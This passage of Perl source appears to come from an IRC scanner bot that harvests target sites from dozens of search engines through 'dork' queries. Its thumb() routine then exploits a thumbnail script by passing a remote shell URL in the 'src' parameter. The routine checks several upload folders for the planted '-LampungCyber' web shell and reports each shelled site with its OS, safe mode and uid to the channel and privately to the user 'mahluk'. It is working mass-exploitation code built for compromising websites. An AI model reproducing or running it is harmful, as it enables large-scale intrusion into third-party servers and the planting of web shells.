- }
- }
- return @list;
- }
- sub altavista() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=500; $i+=10){
- my $search = ("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".&key($key)."&stq=".$i);
- my $res = &search_engine_query($search);
- if ($res !~ /target=\"_self\">Succ/) {$i=500;}
- while ($res =~ m/<span class=ngrn>(.+?)\//g) {
- if ($1 !~ /altavista/){
- my $link = $1;
- $link =~ s/<//g;
- $link =~ s/ //g;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub ask() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=50; $i+=1) {
- my $search = ("http://it.ask.com/web?q=".&key($key)."&qsrc=0&o=0&l=dir&qid=EE90DE6E8F5370F363A63EC61228D4FE&page=".$i."&jss=1&dm=all");
- my $res = &search_engine_query($search);
- if ($res !~ /Successiva/) {$i=50;}
- while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=\"/g) {
- if ($1 !~ /ask\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub clusty() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=10; $b<=500; $b+=10) {
- my $search = ("http://search.yippy.com/search?query=".&key($key)."&input-form=clusty-simple&v:sources=webplus&v:state=root|root-".$b."-10|0&");
- my $res = &search_engine_query($search);
- if ($res !~ /next/) {$b=500;}
- while ($res =~ m/<div class=\"document-header\"><a href=\"http:\/\/(.*?)\"><span class=\"title\">/g) {
- if ($1 !~ /yippy\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub gutser() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=50; $b+=1) {
- my $search = ("http://www.goodsearch.com/Search.aspx?Keywords=".&key($key)."&page=".$b."&osmax=0");
- my $res = &search_engine_query($search);
- while ($res =~ m/http:\/\/([^>\"]*)\">/g) {
- if ($1 !~ /goodsearch|good\.is|w3\.org|quantserve/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub bypass2() {
- my @list; my $key = $_[0];
- my $search = ($bypass2."?key=".&key($key));
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=\http:\/\/([^>\"]*)\//g) {
- if ($1 !~ /google/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } }
- return @list;
- }
- sub exalead() {
- my @list;
- my $key = $_[0];
- for ($b=0; $b<=1000; $b+=100) {
- my $search = ("http://www.exalead.com/search/web/results/?q=".&key($key)."&elements_per_page=100&start_index=".$b);
- my $res = &search_engine_query($search);
- if ($res =~ m/<span id=\"topNextUrl\">/g) {$b=1000;}
- while ($res =~ m/<a class=\"thumbnail\" href=\"http:\/\/(.*?)\"/g) {
- my $link = $1;
- if ($link!~ /exalead/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yahoo(){
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=1; $b<=500; $b+=10) {
- my $search = ("http://search.yahoo.com/search?p=".&key($key)."&b=".$b);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
- if ($1 !~ /yahoo\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub lycos() {
- my @list;
- my $key = $_[0];
- for ($b=0; $b<=50; $b+=1) {
- my $search = ("http://search.lycos.com/?query=".&key($key)."&page2=".$b."&tab=web&searchArea=web&diktfc=468007302EF7DB9AFE53D4138B848E7B4000D424385F");
- my $res = &search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.+?)\" onmouseover=/g) {
- if ($1 !~ /lycos\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub virgilio() {
- my @list;
- my $key = $_[0];
- for ($b=10; $b<=500; $b+=10) {
- my $search = ("http://ricerca.virgilio.it/ricerca?qs=".&key($key)."&filter=1&site=&lr=&hits=10&offset=".$b);
- my $res = &search_engine_query($search);
- if ($res =~ m/non ha prodotto risultati/i) {$b=500;}
- if ($res =~ m/riconducibile a richieste effettuate/i) {$b=500;}
- while ($res =~ m/<a href=\"http:\/\/(.+?)\" target=\"/g) {
- if ($1 !~ /\.virgilio\.it/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub webde() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=50; $b+=1) {
- my $search = ("http://suche.web.de/search/web/?pageIndex=".$b."&su=".&key($key)."&search=Suche&webRb=countryDE");
- my $res = &search_engine_query($search);
- if ($res =~ m/Suchbegriff nicht gefunden/i) {$b=50;}
- while ($res =~ m/<span class=\"url\">http:\/\/(.*?)<\/span>/g) {
- my $link = $1;
- if ($link!~ /suche|web/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub hotbot() {
- my @list;
- my $key = $_[0];
- for ($b=0; $b<=50; $b+=1) {
- my $search = ("http://www.hotbot.com/?query=".&key($key)."&ps=&loc=searchbox&tab=web&mode=search&currProv=msn&page=".$b."&diktfc=51964BFDE35DFB6914F9E1E0D7988C3AC0ACB52B58BE");
- my $res = &search_engine_query($search);
- if ($res =~ m/had no web result/i) {$b=50;}
- while ($res =~ m/rel=\"nofollow\" href=\"http:\/\/(.+?)\"/g) {
- if ($1 !~ /hotbot\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub aol() {
- my @list;
- my $key = $_[0];
- for ($b=2; $b<=50; $b+=1) {
- my $search = ("http://aim.search.aol.com/aol/search?q=".&key($key)."&page=".$b);
- my $res = &search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.*?)\" property/g) {
- if ($1 !~ /aol\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub sapo(){
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=50; $b+=1) {
- my $search = ("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$b."&q=".&key($key)."&st=local");
- my $res = &search_engine_query($search);
- if ($res !~ m/Next/i) {$b=50;}
- while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
- if ($1 !~ /\.sapo\.pt/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub duck() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=1; $b<=50; $b+=1) {
- my $search = ("http://duckduckgo.com/html/?q=".&key($key)."&t=A&l=en&p=1&s=".$b."&o=json&dc=".$b."&api=d.js");
- my $res = &search_engine_query($search);
- if ($res =~ m/No more results/i) {$b=50;}
- while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
- if ($1 !~ /duckduckgo/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub lygo() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=0; $b<=50; $b+=1) {
- my $search = ("http://www.hotbot.com/?query=".&key($key)."&ps=&loc=searchbox&tab=web&mode=search&currProv=lygo&page2=".$b."&diktfc=51964BFDE35DFB6914F9E1E0D7988C3AC0ACB52B58BE");
- my $res = &search_engine_query($search);
- if ($res =~ m/had no web result/i) {$b=50;}
- while ($res =~ m/<a href=\"http:\/\/(.+?)\"><img/g) {
- if ($1 !~ /hotbot\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yause() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=1; $b<=50; $b+=1) {
- my $search = ("http://www.yauba.com/?query=".&key($key)."&where=websites&target=websites&con=y&ilang=english&clt=topic&pg=".$b);
- my $res = &search_engine_query($search);
- if ($res !~ m/Next/i) {$b=50;}
- while ($res =~ m/<h1><a rel=\"nofollow\" href=\"http:\/\/(.+?)\" onfocus=/g) {
- if ($1 !~ /yauba\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub baidu() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=0; $b<=500; $b+=10) {
- my $search = ("http://www.baidu.com/s?wd=".&key($key)."&pn=".$b);
- my $res = &search_engine_query($search);
- while ($res =~ m/\" href=\"http:\/\/(.*?)\" target=/g) {
- if ($1 !~ /baidu\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub kipot() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=1; $b<=50; $b+=1) {
- my $search = ("http://www.qkport.com/".$b."/web/".&key($key));
- my $res = &search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.*?)\" target=\"_top\"/g) {
- if ($1 !~ /qkport\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub gibla() {
- my @list;
- my $key = $_[0];
- my $hal = "/search?q=".&key($key);
- my $search = ("http://www.gigablast.com".$hal);
- my $res = &search_engine_query($search);
- while ($res =~ m/Next 10 Results/) {
- $search = ("http://www.gigablast.com".$hal);
- while ($res =~ m/<span class=\"url\">(.+?)><\/span>/g) {
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- if ($res =~ m/<center><a href=\"(.*?)\">/) { $hal = $1; }
- $res = &search_engine_query($search);
- }return @list;
- }
- sub black() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=0; $b<=50; $b+=1) {
- my $search = ("http://blekko.com/ws/".&key($key)."?ft=&p=".$b);
- my $cek = $b+1;
- my $res = &search_engine_query($search);
- if ($res !~ m/<strong>$b<\/strong>/i) {$b=50;}
- while ($res =~ m/class=\"UrlTitleLine\" href=\"http:\/\/(.+?)\"/g) {
- if ($1 !~ /blekko/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub onet() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=1; $b<=50; $b+=1) {
- my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".&key($key));
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
- if ($1 !~ /webcache|query/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub sizuka() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=10; $b<=100; $b+=10) {
- my $search = ("http://www.szukacz.pl/szukaj.aspx?ct=polska&pc=polska&q=".&key($key)."&start=".$b);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a title=\"http:\/\/(.+?)\"/g) {
- if ($1 !~ /szukacz/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub walla() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=0; $b<=50; $b+=1) {
- my $search = ("http://search.walla.co.il/?t=0&e=utf&q=".&key($key)."&p=".$b);
- my $res = &search_engine_query($search);
- while ($res =~ m/<td class=sw><a href=\"http:\/\/(.+?)\"/g) {
- if ($1 !~ /walla\.co\.il/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub demos() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=0; $b<=500; $b+=10) {
- my $search = ("http://search.dmoz.org/search/search?q=".&key($key)."&start=".$b."&type=next&all=yes");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
- if ($1 !~ /search|dmoz/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub rose() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- my @langs = ("de","nl","fi","ps","da","en","es","fr","it","no","sv","cs","pl","ru");
- foreach my $language (@langs) { $lang = $langs[rand(scalar(@langs))];
- for ($b=0; $b<=30; $b+=10) {
- my $search = ("http://euroseek.com/system/search.cgi?language=".$lang."&mode=internet&start=".$b."&string=".&key($key));
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\" class=/g) {
- if ($1 !~ /euroseek/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- }return @list;
- }
- sub seznam() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=500; $b+=10) {
- my $search = ("http://search.seznam.cz/?q=".&key($key)."&count=10&pId=SkYLl2GXwV0CZZUQcglt&from=".$b);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\" title/g) {
- if ($1 !~ /seznam/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub tiscali() {
- my @list;
- my $key = $_[0];
- for ($b=0; $b<=500; $b+=10) {
- my $search = ("http://search.tiscali.it/?tiscalitype=web&collection=web&start=".$b."&q=".&key($key));
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\" onclick/g) {
- if ($1 !~ /tiscali/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub naver() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=500; $b+=10) {
- my $search = ("http://web.search.naver.com/search.naver?where=webkr&query=".&key($key)."&docid=0〈=all&f=&srcharea=all&st=s&fd=2&start=".$b."&display=10");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
- if ($1 !~ /naver/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub doogate(){
- my @list;
- my $key = $_[0];
- my $i = 0;
- for ($i=0; $i<=1000; $i+=100){
- my $web=("http://www.doogate.com/search?q=".key($key)."&start=".$i);
- my $Res= search_engine_query($web);
- while ($Res =~ m/<a href=\"http:\/\/(.+?)\//g){
- if ($1 !~ /doogate/){
- my $k=$1;
- my @grep=links($k);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub sogou() {
- my @list;
- my $key = $_[0];
- for (my $b=1; $b<=1000; $b+=10){
- my $search = ("http://www.sogou.com/web?query=".&key($key)."&page=".$b."&p=40040100&dp=1&w=01019900&dr=1&_asf=www.sogou.com&_ast=1313253760");
- my $res = search_engine_query($search);
- while ($res =~ m/<a name="dttl" target="_blank" href="http:\/\/(.*?)\"/g) {
- my $link = $1;
- if ($link !~ /sogou/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub interia() {
- my @list;
- my $key = $_[0];
- for ($b = 0;$b<= 100; $b+= 10) {
- my $search = ( "http://www.google.interia.pl/szukaj?q=".&key($key)."&s=szukaj&w=sw&szukaj=&p=".$b);
- my $res = search_engine_query($search);
- while ($res =~ m/text-decoration: none;\">http:\/\/(.+?)\/(.*)<\/a>/g) {
- my $link = $1;
- if ($link!~ /google|interia/) {
- my @grep=links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub snz() {
- my @list;
- my $key = $_[0];
- for (my $b=1; $b<=1000; $b+=100) {
- my $search = ("http://searchnz.co.nz/search.aspx?q=".&key($key)."&np=".$b);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/(.+?)\//g) {
- my $link = $1;
- if ($link!~ /searchnz/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yandex(){
- my @list;
- my $key = $_[0];
- for ($b=0; $b<=50; $b+=10){
- my $search=("http://yandex.ru/yandsearch?p=".$b."&text=".&key($key)."&lr=84");
- my $res= search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
- my $link = $1;
- if ($link!~ /yandex/ ){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub joeant(){
- my @list;
- my $key = $_[0];
- for ($b=0; $b<=50; $b+=10){
- my $search=("http://www.joeant.com/DIR/search.php?keywords=".&key($key)."&page=".$b."&limit=10");
- my $res= search_engine_query($search);
- while ($res =~ m/<a href=\http:\/\/(.*?)\//g) {
- my $link = $1;
- if ($link!~ /joeant/ ){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub terra(){
- my @list;
- my $key = $_[0];
- for ($b=0; $b<=50; $b+=10){
- my $search=("http://buscador.terra.com/Results.aspx?ca=a&source=Search&query=".$key);
- my $res= search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
- my $link = $1;
- if ($link!~ /terra/ ){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub youdao() {
- my @list;
- my $key = $_[0]; {
- my $search = ("http://www.youdao.com/search?q=".&key($key)."&start=10&ue=utf8&keyfrom=".$b."&lq=".&key($key)."×ort=0");
- my $res = search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
- if ($1 !~ /youdao/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub amfibi() {
- my @list;
- my $key = $_[0]; {
- my $search = ("http://www.amfibi.com/search?query=".&key($key)."&start=".$b);
- my $res = search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
- if ($1 !~ /amfibi|cache/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub bigclique() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=500; $b+=10) {
- $num += $num;
- my $search = ("http://www.bigclique.com/search.jsp?query=".&key($key)."&hitsPerPage=10&start=".$num."&hitsPerSite=".$b);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href="http:\/\/(.+?)\"/g) {
- if ($1 !~ /bigclique|cached/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub dancefloor() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=500; $b+=10) {
- $num += $num;
- my $search = ("http://www.dancefloorhireuk.co.uk/events/search.php?query=".&key($key)."&start=".$b."&search=1&results=10&type=and&domain=");
- my $res = search_engine_query($search);
- while ($res =~ m/<a href="http:\/\/(.+?)\"/g) {
- if ($1 !~ /dancefloor|query/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub live {
- my $key = $_[0];
- my @list;
- my $num = 50; my $max = 5000; my $p;
- my $search = "http://search.live.com/results.aspx?q=".&key($key)."&go";
- my $msearch = "http://search.live.com";
- my $nxsearch;
- my $res = search_engine_query($search);
- if ( $res =~ /<a class=\"sb_pagN\" href=\"(.*?)\" onmousedown/ ) {
- my $nxsearch = $1;
- }
- while ( $res =~ m/<h3><a href=\"http:\/\/(.*?)\"/g ) {
- my $l = $1 ; if ($l !~ /google/) { push (@list, $l); }
- }
- for ( $p=0;$p<=$max;$p += $num ) {
- $nxsearch = $msearch.htmltosearch($1)."&go";
- $res = search_engine_query("http://search.live.com/results.aspx?q=".&key($key)."&first=".$p."&FORM=PORE");
- while ( $res =~ m/<h3><a href=\"http:\/\/(.*?)\"/g ) {
- my $l = $1 ; if ($l !~ /google/) { push (@list, $l); }
- }
- }
- return @list;
- }
- sub rakuten() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=500; $b+=10) {
- my $search = ("http://websearch.rakuten.co.jp/Web?qt=".&key($key)."&col=OW&lg=all&st=".$b."&svx=101722");
- my $res = search_engine_query($search);
- while ($res =~ m/<a class="sc_result result" href=\"http:\/\/(.+?)\"/g) {
- if ($1 !~ /rakuten/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub biglobe {
- my $key = $_[0];
- my @list;
- for ($b=1; $b<=500; $b+=10) {
- $num += $num;
- my $search = "http://cgi.search.biglobe.ne.jp/cgi-bin/search_bl_top?start=".$b."&ie=utf8&num=".$num."&q=".&key($key)."&lr=all";
- my $res = search_engine_query($search);
- while ( $res =~ m/<a href=\"http:\/\/(.+?)\"/g ) {
- if ($1 !~ /biglobe/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub nova() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=500; $b+=10) {
- $num += $num;
- my $search = ("http://nova.rambler.ru/srch?query=".&key($key)."&page=".$b."&start=".$num);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
- if ($1 !~ /rambler|cache/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub najdi() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=500; $b+=10) {
- $num += $num;
- my $search = ("http://www.najdi.si/search.jsp?q=".&key($key)."&o=".$b."&maxHitsPerGroup=".$num);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\" onmousedown/g) {
- if ($1 !~ /najdi|cache/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub goo() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=500; $b+=10) {
- my $search = ("http://search.goo.ne.jp/web.jsp?STYPE=web&OE=UTF-8&MT=".&key($key)."&IE=UTF-8&FR=".$b."&from=pager");
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\" onclick/g) {
- if ($1 !~ /goo/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub uksubmit() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=500; $b+=10) {
- my $search = ("http://www.uksubmit.co.uk/index.php?query=".&key($key)."&searchType=Web&page=".$b);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href="http:\/\/(.+?)\"/g) {
- if ($1 !~ /uksubmit/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub excite() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=500; $b+=10) {
- $num += $num;
- my $search = ("http://msxml.excite.com/excite/ws/results/Web/".$key."/".$b."/0/0/Relevance/zoom=off/qi=".$num."/qk=20/bepersistence=true/_iceUrlFlag=7?_IceUrl=true");
- my $res = search_engine_query($search);
- while ($res =~ m/status='http:\/\/(.*?)';/g) {
- if ($1 !~ /excite|google|Yahoo/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- #######################################################################################################################################
- sub thumb() {
- my $chan = $_[0];
- my $bug = $_[1];
- my $dork = $_[2];
- my $engine = $_[3];
- my $count = 0;
- my @list = &search_engine($chan,$bug,$dork,$engine,$thumblogo);
- my $num = scalar(@list); if ($num > 0) { foreach my $site (@list) { $count++; if ($count == $num-1) {
- &msg("$chan","$thumblogo0(4,1@8,1$engine0)2,1 Scan finish");sleep(1); }
- my $vuln = "http://".$site.$bug."?src=".$thumbshell; (
- my $bery = $bug)=~ s{/[^/]+\z}{}; (
- my $bery2 = $bug)=~ s{/[^/]+\/[^/]+\z}{};
- my $vuln2 = "http://".$site.$bery.$folder1;
- my $vuln3 = "http://".$site.$bery.$folder2;
- my $vuln4 = "http://".$site.$bery.$folder3;
- my $vuln5 = "http://".$site.$bery.$folder4;
- my $vuln6 = "http://".$site.$folder5;
- #my $vuln7 = "http://".$site.$bery2.$folder1;
- #my $vuln8 = "http://".$site.$bery2.$folder2;
- #my $vuln9 = "http://".$site.$bery2.$folder3;
- #my $vuln10 = "http://".$site.$bery2.$folder4;
- my $cek = &get_content($vuln);sleep(1);
- if ($cek =~ /Unable to open image/i) {
- &msg("$chan","$thumblogo(4@8,1$engine0)8,1e3,1x7,1p5,1l6,1o2,1i11,1t4,1i0,1n12,1g8,1 http://$site");sleep(1);
- my $check1 = &get_content($vuln2);sleep(1);
- my $check2 = &get_content($vuln3);sleep(1);
- my $check3 = &get_content($vuln4);sleep(1);
- my $check4 = &get_content($vuln5);sleep(1);
- my $check5 = &get_content($vuln6);sleep(1);
- #my $check6 = &get_content($vuln7);sleep(1);
- #my $check7 = &get_content($vuln8);sleep(1);
- #my $check8 = &get_content($vuln9);sleep(1);
- #my $check9 = &get_content($vuln10);sleep(1);
- my $os = "";
- my $free = "";
- my $uid = "";
- if ($check1 =~ /-LampungCyber/i) {
- if ($check1 =~ m/color=lime>(.*?)<\/font>/) {$os = $1;}
- if ($check1 =~ m/color=#3366FF><b>(.*?)<\/b><\/font>/) {$safe = $1;}
- if ($check1 =~ m/uid=(.*?)gid=/) {$uid = $1;}
- &msg("$chan","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln2."3,1 ((safemode=$safe) (OS=$os) (uid=$uid");
- &msg("mahluk","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln2."3,1 ((safemode=$safe) (OS=$os) (uid=$uid");
- }
- if ($check2 =~ /-LampungCyber/i) {
- if ($check2 =~ m/color=lime>(.*?)<\/font>/) {$os = $1;}
- if ($check2 =~ m/color=#3366FF><b>(.*?)<\/b><\/font>/) {$safe = $1;}
- if ($check2 =~ m/uid=(.*?)gid=/) {$uid = $1;}
- &msg("$chan","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln3."3,1 (safemode=$safe) (OS=$os) (uid=$uid");
- &msg("mahluk","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln3."3,1 (safemode=$safe) (OS=$os) (uid=$uid");
- }
- if ($check3 =~ /-LampungCyber/i) {
- if ($check3 =~ m/color=lime>(.*?)<\/font>/) {$os = $1;}
- if ($check3 =~ m/color=#3366FF><b>(.*?)<\/b><\/font>/) {$safe = $1;}
- if ($check3 =~ m/uid=(.*?)gid=/) {$uid = $1;}
- &msg("$chan","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln4."3,1 (safemode=$safe) (OS=$os) (uid=$uid");
- &msg("mahluk","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln4."3,1 (safemode=$safe) (OS=$os) (uid=$uid");
- }
- if ($check4 =~ /-LampungCyber/i) {
- if ($check4 =~ m/color=lime>(.*?)<\/font>/) {$os = $1;}
- if ($check4 =~ m/color=#3366FF><b>(.*?)<\/b><\/font>/) {$safe = $1;}
- if ($check4 =~ m/uid=(.*?)gid=/) {$uid = $1;}
- &msg("$chan","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln5."3,1 (safemode=$safe) (OS=$os) (uid=$uid");
- &msg("mahluk","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln5."3,1 (safemode=$safe) (OS=$os) (uid=$uid");
- }
- if ($check5 =~ /-LampungCyber/i) {
- if ($check5 =~ m/color=lime>(.*?)<\/font>/) {$os = $1;}
- if ($check5 =~ m/color=#3366FF><b>(.*?)<\/b><\/font>/) {$safe = $1;}
- if ($check5 =~ m/uid=(.*?)gid=/) {$uid = $1;}
- &msg("$chan","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln6."3,1 (safemode=$safe) (OS=$os) (uid=$uid");
- &msg("mahluk","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln6."3,1 (safemode=$safe) (OS=$os) (uid=$uid");
- }
- #if ($check6 =~ /-LampungCyber/i) {
- #if ($check6 =~ m/color=lime>(.*?)<\/font>/) {$os = $1;}
- #if ($check6 =~ m/color=#3366FF><b>(.*?)<\/b><\/font>/) {$safe = $1;}
- #if ($check6 =~ m/uid=(.*?)gid=/) {$uid = $1;}
- #&msg("$chan","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln7."3,1 (safemode=$safe) (OS=$os) (uid=$uid"); }
- #if ($check7 =~ /-LampungCyber/i) {
- #if ($check7 =~ m/color=lime>(.*?)<\/font>/) {$os = $1;}
- #if ($check7 =~ m/color=#3366FF><b>(.*?)<\/b><\/font>/) {$safe = $1;}
- #if ($check7 =~ m/uid=(.*?)gid=/) {$uid = $1;}
- #&msg("$chan","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln8."3,1 (safemode=$safe) (OS=$os) (uid=$uid"); }
- #if ($check8 =~ /-LampungCyber/i) {
- #if ($check8 =~ m/color=lime>(.*?)<\/font>/) {$os = $1;}
- #if ($check8 =~ m/color=#3366FF><b>(.*?)<\/b><\/font>/) {$safe = $1;}
- #if ($check8 =~ m/uid=(.*?)gid=/) {$uid = $1;}
- #&msg("$chan","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln9."3,1 (safemode=$safe) (OS=$os) (uid=$uid"); }
- #if ($check9 =~ /-LampungCyber/i) {
- #if ($check9 =~ m/color=lime>(.*?)<\/font>/) {$os = $1;}
- #if ($check9 =~ m/color=#3366FF><b>(.*?)<\/b><\/font>/) {$safe = $1;}
- #if ($check9 =~ m/uid=(.*?)gid=/) {$uid = $1;}
